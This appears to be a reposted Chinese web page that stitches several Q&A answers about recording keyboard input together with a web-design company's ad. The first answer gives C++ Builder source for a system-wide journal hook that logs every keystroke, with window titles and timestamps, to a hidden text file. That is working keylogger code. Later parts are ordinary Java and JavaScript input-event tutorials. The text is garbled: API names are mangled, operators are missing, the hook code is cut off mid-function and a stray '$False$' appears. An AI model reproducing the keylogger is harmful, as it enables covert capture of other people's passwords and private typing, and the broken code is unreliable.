键盘记录代码Java 记录键盘输入

请问 VBS 或 java 上有哪些代码可以记录键盘的所有动作.并可以记录在一个文档上呢?

这个不大清楚,不过用c语言可以很容易的实现

成都创新互联2013年开创至今,是专业互联网技术服务公司,拥有项目成都做网站、网站制作网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元太谷做网站,已为上家服务,为太谷各地企业和个人服务,联系电话:13518219792

日志钩子代码如下,你慢慢品味吧:

//-----------.cpp文件

//---------------------------------------------------------------------------

#include vcl.h

#include stdio.h

#pragma hdrstop

#include "KeyHookU.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma resource "*.dfm"

TfrmLogHook *frmLogHook;

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);

//钩子变量

HHOOK g_hLogHook=NULL;

//记录上一次得到焦点的窗口句柄

HWND g_hLastFocus=NULL;

//键盘掩码变量

const int KeyPressMask=0x80000000;

//保存上一次按键值

//char g_PrvChar;

//---------------------------------------------------------------------------

__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)

{

if(g_hLogHook==NULL)

//安装日志钩子

g_hLogHook=Set视窗系统HookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);

}

//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)

{

if(g_hLogHook!=NULL)

{

Unhook视窗系统HookEx(g_hLogHook);

g_hLogHook=NULL;

}

}

//---------------------------------------------------------------------------

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)

{

if(iCode0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

if(iCode==HC_ACTION)

{

EVENTMSG* pEvt=(EVENTMSG*)lParam;

int i;

HWND hFocus;//保存当前活动窗口句柄

char szTitle[256];//当前窗口名称

char szTime[128];//当前的日期和时间

FILE* stream=fopen("h:\\usr\\logfile.txt","a+");

if(pEvt-message==WM_KEYDOWN)

{

int vKey=LOBYTE(pEvt-paramL);//取得虚拟键值

char ch;

char str[10];

hFocus=GetActiveWindow();

if(g_hLastFocus!=hFocus)

{

GetWindowText(hFocus,szTitle,256);

g_hLastFocus=hFocus;

strcpy(szTime,DateTimeToStr(Now()).c_str());

fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);

fprintf(stream,"%c%c",32,32);

}

int iShift=GetKeyState(0x10);

int iCapital=GetKeyState(0x14);

int iNumLock=GetKeyState(0x90);

bool bShift=(iShiftKeyPressMask)==KeyPressMask;

bool bCapital=(iCapital1)==1;

bool bNumLock=(iNumLock1)==1;

/*

if(vKey==9) //TAB

fprintf(stream,"%c",’\t’);

if(vKey==13) //回车键

fprintf(stream,"%c",’\n’);

*/

if(vKey=48 vKey=57) //数字键0-9

{

if(!bShift)

fprintf(stream,"%c",vKey);

else

{

switch(vKey)

{

case 49:

ch=’!’;

break;

case 50:

ch=’@’;

break;

case 51:

ch=’#’;

break;

case 52:

ch=’$’;

break;

case 53:

ch=’%’;

break;

case 54:

ch=’^’;

break;

case 55:

ch=’’;

break;

case 56:

ch=’*’;

break;

case 57:

ch=’(’;

break;

case 48:

ch=’)’;

break;

}

fprintf(stream,"%c",ch);

}

}

if(vKey=65 vKey=90) //A-Z a-z

{

if(!bCapital)

{

if(bShift)

ch=vKey;

else

ch=vKey+32;

}

else if(bShift)

ch=vKey+32;

else

ch=vKey;

fprintf(stream,"%c",ch);

}

if(vKey=96 vKey=105) //小键盘0-9

{

if(bNumLock)

fprintf(stream,"%c",vKey-96+48);

}

if(vKey=186 vKey=222) //其他键

{

switch(vKey)

{

case 186:

if (!bShift) ch=’;’ ;

else ch=’:’ ;

break;

case 187:

if (!bShift) ch=’=’ ;

else ch=’+’ ;

break;

case 188:

if (!bShift) ch=’,’ ;

else ch=’’ ;

break;

case 189:

if (!bShift) ch=’-’ ;

else ch=’_’ ;

break;

case 190:

if (!bShift) ch=’.’ ;

else ch=’’ ;

break;

case 191:

if (!bShift) ch=’/’ ;

else ch=’?’ ;

break;

case 192:

if (!bShift) ch=’`’ ;

else ch=’~’ ;

break;

case 219:

if (!bShift) ch=’[’;

else ch=’{’ ;

break;

case 220:

if (!bShift) ch=’\\’ ;

else ch=’|’ ;

break;

case 221:

if (!bShift) ch=’]’;

else ch=’}’ ;

break;

case 222:

if (!bShift) ch=’\’’;

else ch=’\"’ ;

break;

default:

ch=’n’ ;

break;

}

if (ch!=’n’ ) fprintf(stream,"%c",ch);

} //

if (vKey=112 vKey=123) // 功能键 [F1]-[F12]

{

switch(wParam)

{

case 112:

fprintf(stream,"%s","[F1]");

break;

case 113:

fprintf(stream,"%s","[F2]");

break;

case 114:

fprintf(stream,"%s","[F3]");

break;

case 115:

fprintf(stream,"%s","[F4]");

break;

case 116:

fprintf(stream,"%s","[F5]");

break;

case 117:

fprintf(stream,"%s","[F6]");

break;

case 118:

fprintf(stream,"%s","[F7]");

break;

case 119:

fprintf(stream,"%s","[F8]");

break;

case 120:

fprintf(stream,"%s","[F9]");

break;

case 121:

fprintf(stream,"%s","[F10]");

break;

case 122:

fprintf(stream,"%s","[F11]");

break;

case 123:

fprintf(stream,"%s","[F12]");

break;

}

}

if (vKey=8 vKey=46) //方向键

{

switch (vKey)

{

case 8:

strcpy(str,"[BK]");

break;

case 9:

strcpy(str,"[TAB]");

break;

case 13:

strcpy(str,"[EN]");

break;

case 27:

strcpy(str,"[ESC]");

break;

case 32:

strcpy(str,"[SP]");

break;

case 33:

strcpy(str,"[PU]");

break;

case 34:

strcpy(str,"[PD]");

break;

case 35:

strcpy(str,"[END]");

break;

case 36:

strcpy(str,"[HOME]");

break;

case 37:

strcpy(str,"[LF]");

break;

case 38:

strcpy(str,"[UF]");

break;

case 39:

strcpy(str,"[RF]");

break;

case 40:

strcpy(str,"[DF]");

break;

case 45:

strcpy(str,"[INS]");

break;

case 46:

strcpy(str,"[DEL]");

break;

default:

ch=’n’;

break;

}

if (ch!=’n’ )

{

//if (g_PrvChar!=vKey)

//{

fprintf(stream,"%s",str);

// g_PrvChar=vKey;

/

java编程:编写一个文件信息存储程序,用户通过键盘输入学生的姓名,性别,班级,地址等信息,

//test.java

import java.io.*;

import java.util.*;

public class test {

public static void main (String[] args) {

try{

String strName="";

String strSex="";

int i=1;

//构造写入文件的File对象

File file2=new File("a.txt"); //创建一个a.txt文件

//构造低层输出流

FileWriter fw=new FileWriter(file2);

//构造高层输出流

BufferedWriter bw=new BufferedWriter(fw);

while(true){

System.out.println ("请输入第"+i+"学生姓名:");

Scanner sc = new Scanner(System.in);

strName = "姓名:"+sc.next();

System.out.println ("请输入性别:");

Scanner sc2 = new Scanner(System.in);

strSex = "性别"+sc2.next();

//写入文件

bw.write(strName+" "+strSex);

bw.newLine(); //换行

System.out.println ("是否结束程序:y/n");

Scanner sc3 = new Scanner(System.in);

String str = sc3.next();

if(str.equals("y"))break; //如果输入的是y则退出程序

i++;

}

//关闭流

bw.close();

fw.close();

}catch(IOException ex1){

System.out.println ("输入输出异常");

}

System.out.println ("程序结束");

}

}

本人刚入手java 可能写得不是很好.. 希望能给你带来帮助..

不足之处,敬请原谅!

用java做一个键盘记录器的疑问

这样的功能是用JavaScript中的event属性的KeyCode方法完成,利用onKeyDown事件进行驱动。

在JavaScript中,可以通过keyCode属性来得到用户所按键的ASSCII码值。具体对应关系可以查ASSCII码表。

例子:

示例1:

--------------------------------------------------------------------------------

SCRIPT LANGUAGE="JavaScript"

!--

function hotkey()

{

var a=window.event.keyCode;

if(a==65)

{

alert("你按了a键吧");

}

}// end hotkey

document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数

//--

/SCRIPT

另外,在快捷键的使用中,Alt、Ctrl、shift等辅助键也是经常用到的,可以通过altKey、ctrlKey、shiftKey这三个属性来判断Alt、Ctrl、shift键的状态

比如event.ctrlKey的值为真,就说明用户按下了Ctrl键。

例子:

示例2:

--------------------------------------------------------------------------------

SCRIPT LANGUAGE="JavaScript"

!--

function hotkey()

{

if(event.ctrlKey)

{

alert("你按了Ctrl键吧");

}

}// end hotkey

document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数

//--

/SCRIPT

可以组合起来,形成真正的快捷键,将执行语句换为你要的效果就可以了。

示例3:

--------------------------------------------------------------------------------

SCRIPT LANGUAGE="JavaScript"

!--

function hotkey()

{

var a=window.event.keyCode;

if((a==65)(event.ctrlKey))

{

alert("你按了ctrl+a键吧");

}

}// end hotkey

document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数

//--

/SCRIPT

document.onkeydown = hotkey 语句是在全页面中,当用户按下键时,调用hotkey函数,也许你希望在页面局部实现快捷键功能,那么,你可以仿照下面这样做(记得删除"document.onkeydown = hotkey"语句):

示例4:

--------------------------------------------------------------------------------

textarea rows="7" cols="90" name="message" onKeyDown="javascript: hotkey();" tabindex="2"/textarea

这样,只有当光标焦点在文本框中才能使用快捷键

以上是获得按那个键的方法在用流的方式写到.txt中就行了。

java中各种类型的键盘输入代码是什么

下面的是键盘和鼠标的各种事件,看一下是不是你要的!

鼠标监听器

鼠标监听器mouseListener监听鼠标事件MouseEvent。相应事件和处理方法如下表:

鼠标事件 处理方法

MOUSE_CLICKED MouseClicked (MouseEvent) 鼠标点击(单或双)

MOUSE_PRESSED MousePressed (MouseEvent) 鼠标按下

MOUSE_RELEASED MouseReleased(MouseEvent) 鼠标松开

MOUSE_ENTERED MouseEntered (MouseEvent) 鼠标进入(某组件区域)

MOUSE_EXITED MouseExited (MouseEvent) 鼠标离开(某组件区域)

鼠标事件MouseEvent常用方法

int getClickCount() 得到点击次数1 OR 2;

int getX(), int getY() 得到鼠标的(象素)位置。

对于鼠标的移动和拖放,另外用鼠标运动监听器mouseMotionListener。因为许多程序不需要监听鼠标运动,把两者分开可简化程序。有两个方法处理鼠标运动事件:

MOUSE_MOVED MouseMoved (MouseEvent) 鼠标在移动MOUSE_DRAGGED MouseDragged(MouseEvent) 鼠标被拖动

下面的例程演示简单的鼠标监听,并在屏幕上输出鼠标操作的信息。

例2

下面是讨论MouseMotionListener的使用时机,它提供的下面的两个方法,可让你随时掌握鼠标的坐标,并处理拖曳鼠标的操作。

MouseMotionListener mouseDragged(MouseEvent e)

mouseMoved(MouseEvent e)

-----------------------------------------------------------------------

下面的范例让你知道鼠标在JFrame上的坐标,并拖曳出直线来。

MouseDemo3.java

import java.awt.*;

import java.awt.event.*;

import javax.swing.*;

/*为了达到画线的功能,我们分别implements MouseListener与MouseMotionListener.

*/

public class MouseDemo3 extends JFrame implements MouseListener,MouseMotionListener{

int flag;//flag=1代表Mouse Moved,flag=2代表Mouse Dragged

int x=0;

int y=0;

int startx,starty,endx,endy;//起始坐标与终点坐标

public MouseDemo3(){

Container contentPane=getContentPane();

contentPane.addMouseListener(this);

contentPane.addMouseMotionListener(this);

setSize(300,300);

show();

addWindowListener(

new WindowAdapter(){

public void windowClosing(WindowEvent e){

System.exit(0);

}

}

);

}

/*由mousePressed(),mouseReleased()取得示拖曳的开始与结束坐标*/

public void mousePressed(MouseEvent e){

startx=e.getX();

starty=e.getY();

}

public void mouseReleased(MouseEvent e){

endx=e.getX();

endy=e.getY();

}

public void mouseEntered(MouseEvent e){ }

public void mouseExited(MouseEvent e){ }

public void mouseClicked(MouseEvent e){ }

/*mouseMoved(),mouseDragged()取得鼠标移动的每一个坐标,并调用repaint()方法*/

public void mouseMoved(MouseEvent e){

flag=1;

x=e.getX();

y=e.getY();

repaint();

}

public void mouseDragged(MouseEvent e){

flag=2;

x=e.getX();

y=e.getY();

repaint();

}

public void update(Graphics g){

g.setColor(this.getBackground());

g.fillRect(0,0,getWidth(),getHeight());

paint(g);

}

public void paint(Graphics g){

g.setColor(Color.black);

if (flag==1){

g.drawString("鼠标坐标:("+x+","+y+";)",10,50);

g.drawLine(startx,starty,endx,endy);

}

if (flag==2){

g.drawString("拖曳鼠标价坐标:("+x+","+y+";)",10,50);

g.drawLine(startx,starty,x,y);

}

}

public static void main(String[] args){

new MouseDemo3();

}

}

例3

实现一个简单的鼠标控制程序MouseController。程序功能很简单:随机移动鼠标并点击左键。

代码如下:

import java.awt.AWTException;

import java.awt.Dimension;

import java.awt.Robot;

import java.awt.Toolkit;

import java.awt.event.InputEvent;

import java.util.Random;

/**

*

*/

/**

* @Create date 2007-11-6

*/

public class MouseController implements Runnable {

private Dimension dim;

private Random rand;

private Robot robot;

private volatile boolean stop = false;

public MouseController() {

dim = Toolkit.getDefaultToolkit().getScreenSize();

rand = new Random();

try {

robot = new Robot();

} catch (AWTException ex) {

ex.printStackTrace();

}

}

public void run() {

while(!stop) {

int x = rand.nextInt(dim.width);

int y = rand.nextInt(dim.height);

robot.mouseMove(x, y);

robot.mousePress(InputEvent.BUTTON1_MASK);

try {

Thread.sleep(2000);

} catch (InterruptedException ex) {

ex.printStackTrace();

}

}

}

public synchronized void stop() {

stop = true;

}

public static void main(String[] args) {

MouseController mc = new MouseController();

Thre

$False$

ad mcThread = new Thread(mc);

System.out.println("Mouse Controller start");

mcThread.start();

try {

Thread.sleep(60000);

} catch (InterruptedException ex) {

ex.printStackTrace();

}

mc.stop();

System.out.println("Mouse Controller stoped");

}

}

例4 本例程演示鼠标监听器,鼠标点击和运动的监听。

///

// MouseEvt.java

import java.awt.*;

import java.awt.event.*;

import javax.swing.*;

class MyPanel extends JPanel implements MouseMotionListener{

public MyPanel() {

addMouseListener(new MouseAdapter() {

publicvoid mouseClicked(MouseEvent evt) {

if (evt.getClickCount() = 2)

System.out.println("\n双击鼠标");

int x = evt.getX(); int y = evt.getY();

System.out.println("点击鼠标的位置\nX:" + x + "\ty: " + y);

}

});

addMouseMotionListener(this);

}

publicvoid mouseMoved(MouseEvent evt){

System.out.println("\n鼠标正在移动");

}

publicvoid mouseDragged(MouseEvent evt){

System.out.println("\n鼠标正在拖动");

}

}

class MyFrame extends JFrame{

public MyFrame(){

setTitle("鼠标事件示例程序");

setSize(300, 200);

addWindowListener(new WindowAdapter(){

publicvoid windowClosing(WindowEvent e){

System.exit(0);

}

} );

Container contentPane = getContentPane();

contentPane.add(new MyPanel());

}

}

publicclass MouseEvt{

publicstaticvoid main(String[] args){

JFrame frame = new MyFrame();

frame.setVisible(true);

}

}

///

简要说明

在MyPanel的构建器中添加了鼠标适配器来监听鼠标点击数和位置。也添加了运动监听器来处理移动和拖放操作。

鼠标双击事件

鼠标的单双击事件在很多时候对我们帮助很大,但是在JAVA中却没有给出鼠标双击事件.我们可以通过事件源e.getClickCount()==2来判断鼠标点击次数来实现鼠标双击事件,例如: public class MyMouseListener

extends java.awt.event.MouseAdapter ...{

public void mouseClicked(MouseEvent e) ...{

System.out.println("clicked");

int clickTimes = e.getClickCount();

if (clickTimes == 2) ...{

System.out.println("Doublc Clicked!");

}

}

}

但是这样并没有达到我们的要求,因为在每次触发双击事件的同时会触发单击事件.所以我们试图改进以上方案,不使用系统提供的e.getClickCount()方法.可以考虑当第一次单击鼠标的时候让鼠标单击事件延时0.2秒执行,而在这段时间里等待第二次单击,如果有第二次单击,那么我们执行双击事件任务,取消单击任务;如果在这段时间没有等到再次单击,那么执行单击任务.

下面是用定时器延时单击事件实现鼠标双击事件,单击和双击事件互不影响!

public class MyMouseListener

extends java.awt.event.MouseAdapter ...{

private static boolean flag=false;//用来判断是否已经执行双击事件

private static int clickNum=0;//用来判断是否该执行双击事件

public void mouseClicked(MouseEvent e) ...{

final MouseEvent me=e;//事件源

this.flag=false;//每次点击鼠标初始化双击事件执行标志为false

if (this.clickNum == 1) ...{//当clickNum==1时执行双击事件

this.mouseDoubleClicked(me);//执行双击事件

this.clickNum=0;//初始化双击事件执行标志为0

this.flag=true;//双击事件已执行,事件标志为true

return;

}

//定义定时器

java.util.Timer timer=new java.util.Timer();

//定时器开始执行,延时0.2秒后确定是否执行单击事件

timer.schedule(new java.util.TimerTask() ...{

private int n=0;//记录定时器执行次数

public void run() ...{

if(MyMouseListener.flag)...{//如果双击事件已经执行,那么直接取消单击执行

n=0;

MyMouseListener.clickNum=0;

this.cancel();

return;

}

if (n == 1) ...{//定时器等待0.2秒后,双击事件仍未发生,执行单击事件

mouseSingleClicked(me);//执行单击事件

MyMouseListener.flag = true;

MyMouseListener.clickNum=0;

n=0;

this.cancel();

return;

}

clickNum++;

n++;

}

},new java.util.Date(),500);

}

/** *//**

* 鼠标单击事件

* @param e 事件源参数

*/

public void mouseSingleClicked(MouseEvent e)...{

System.out.println("Single Clicked!");

}

/** *//**

* 鼠标双击事件

* @param e 事件源参数

*/

public void mouseDoubleClicked(MouseEvent e)...{

System.out.println("Doublc Clicked!");

}

}

//Test.java

import javax.swing.*;

import java.awt.*;

import java.awt.event.*;

public class Test extends JFrame{

public Test(){

super("test");

init();

this.setSize(800,600);

this.setVisible(true);

}

private void init(){

JButton b=new JButton("button");

b.setBounds(50,50,100,30);

this.getContentPane().setLayout(null);

this.getContentPane().add(b);

b.addMouseListener(new MyMouseListener());

}

public static void main(String args[]){

new Test();

}

}

键盘监听器

键盘监听器KeyListener用来监听键盘事件。键盘事件有三种:KEY_PRESSED键按下了,KEY_RELEASED键松开了,KEY_TYPED键按过了。每个键都有一个键码,普通键的键码就是ASCII码。键码可通过int getKeyCode()方法获得。Java设置了一种“虚拟键码”(Virtual Key Code),用“VK_”作为前缀,例如VK_G。下面是某些特殊键的虚拟键码。

键码 含义 键码 含义

VK_LEFT/VK_RIGHT 左右方向键 VK_CONTROL Ctrl键

VK_KP_UP 小键盘向上 VK_ATL Alt键

VK_PAUSE 暂停键 VK_SHIFT Shift键

VK_NUMBER0 小键盘数字0 VK_F1 功能键F1

VK_0 数字键0 VK_B 字母键B

虚拟键码对应的是键位,不区分大小写。要想知道大小写还必须查看修饰键(modifier key)。这由输入事件InputEvent的getModifere()方法得到,把返回值与常量SHIFT_MASK, CONTROL_MASK, ALT_MASK比较,用以判定哪个修饰键处于“同时按下”状态。

监听器KeyListener有三个方法keyPressed(KeyEvent evt),keyReleased(KeyEvent evt),keyTyped(KeyEvent evt),分别用于相应事件发生后的处理。下面的例程中给自己的键盘监听器建立了showKeyEventMsg方法来显示按键信息。

除了getKeyCode()方法得到键码外,还可用getKeyChar()方法得到输入的字符,用getKeyText(code)方法得到输入的字符串。用isShiftDown()判断shift键是否被按下等。当按下Control键时getKeyText返回的是“ctrl",Alt和Shift也类似。

下面的例子演示得到键码和字符的方法,在命令行上显示结果。

例1 本例程演示键盘监听器后键码的用法。

///

// KeyEvt.java

import java.awt.*;

import java.awt.event.*;

import javax.swing.*;

class MyKeyListener implements KeyListener{

publicvoid keyPressed(KeyEvent evt) {

System.out.println("\n按键被按下");

showKeyEventMsg(evt);

}

publicvoid keyReleased(KeyEvent evt){ }

publicvoid keyTyped(KeyEvent evt) { }

privatevoid showKeyEventMsg(KeyEvent evt){//显示按键事件信息

//得到按键对应的整型数

int code = evt.getKeyCode();

//返回按键事件所代表的字符

char c = evt.getKeyChar();

//得到代表按键的字符串

String szText = evt.getKeyText(code);

if (code != KeyEvent.VK_UNDEFINED)

System.out.println("\n按键对应的整型数:"+code);

if (c != KeyEvent.CHAR_UNDEFINED)

System.out.println("\n与按键相联系的字符:"+c);

if (evt.isShiftDown())

System.out.println("\n按键Shift被按下");

System.out.println("\n按键本身的字符串:"+szText);

}

}

class ButtonPanel extends JPanel{

public ButtonPanel() {

//新建一个文本域组件

tf = new JTextField(20);

add(tf);

//指定用来处理该按钮事件的监听器对象为JPanel本身

myListener = new MyKeyListener();

tf.addKeyListener(myListener);

}

private JTextField tf;

private MyKeyListener myListener;

}

class ButtonFrame extends JFrame{

public ButtonFrame() {

setTitle("键盘事件示例程序");

setSize(300, 200);

setLocation(100,100);

addWindowListener(new WindowAdapter() {

publicvoid windowClosing(WindowEvent e)

{ System.exit(0);

}

});

Container ctPane = getContentPane();

ctPane.add(new ButtonPanel());

}

}

publicclass KeyEvt{

publicstaticvoid main(String[] args) {

JFrame frame = new ButtonFrame();

frame.setVisible(true);

}

}

///简要说明

程序建立了自己的键盘监听器MyKeyListener,定义了一个新方法showKeyEventMsg用来在标准输出设备上显示有关的键盘信息。

在面版ButtonPanel上建立文本框并加键盘监听器。把面版ButtonPanel放到窗口ButtonFrame中。


本文标题:键盘记录代码Java 记录键盘输入
转载来于:http://scyanting.com/article/doogsce.html